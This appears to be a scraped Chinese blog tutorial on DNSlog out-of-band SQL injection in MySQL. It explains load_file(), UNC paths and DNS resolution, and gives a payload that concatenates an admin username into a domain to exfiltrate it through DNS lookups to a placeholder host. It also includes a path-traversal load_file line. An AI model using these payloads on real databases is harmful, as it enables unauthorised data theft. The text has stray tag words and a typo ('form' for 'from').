經過咱們構造的數據,訪問搭建好的DNS服務器,查看DNS訪問的日誌便可獲取咱們想要獲得的數據。sql
在某些沒法直接利用漏洞得到回顯的狀況下,可是目標能夠發起請求,這個時候就能夠經過DNSlog把想得到的數據外帶出來。
對於sql盲注,常見的方法就是二分法去一個個猜,可是這樣的方法麻煩不說,還很容易由於數據請求頻繁致使被ban。數據庫
load_file()函數是讀取文件的函數,讀取文件並返回文件內容爲字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,並且必須有FILE權限。 該文件全部字節可讀,但文件內容必須小於max_allowed_packet(限制server接受的數據包大小函數,默認1MB)。 若是該文件不存在或沒法讀取,由於前面的條件之一不知足,函數返回 NULL。
select load_file(../../../../../../../../../../../1.txt)服務器
UNC路徑就是相似\softer這樣的形式的網絡路徑。它符合 \servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱能夠包括共享名稱下的目錄路徑,格式爲:網絡
\\servername\sharename\directory\filename
例如softer計算機的名爲it168的共享文件夾,用UNC表示就是\softer\it168。
咱們熟悉的命令行訪問法訪問網上鄰居,實際上應該稱做UNC路徑訪問法。函數
假設咱們訪問的路徑是域名下的某個文件呢?命令行
//xxxxx.com/1.txt 或 \\\\xxxx.com/txt //四個反斜槓的緣由是由於將反斜槓作轉義,否則兩個\會被轉義爲一個,致使語句報錯 # 表示咱們去訪問這個域名下的共享文件夾的文件
當咱們使用load_file去訪問域名的時候,會產生DNS解析
這時候咱們能夠經過構造sql查詢語句去查詢數據庫
select load_file(concat('//',(select username form admin limit 0,1),'.xxx.xxx/abc'))
由於拼接的字段只能有一條,因此須要進行限制,否則會報錯
若是成功訪問的話就能夠經過查詢日誌獲取username字段的值,完成DNS注入。日誌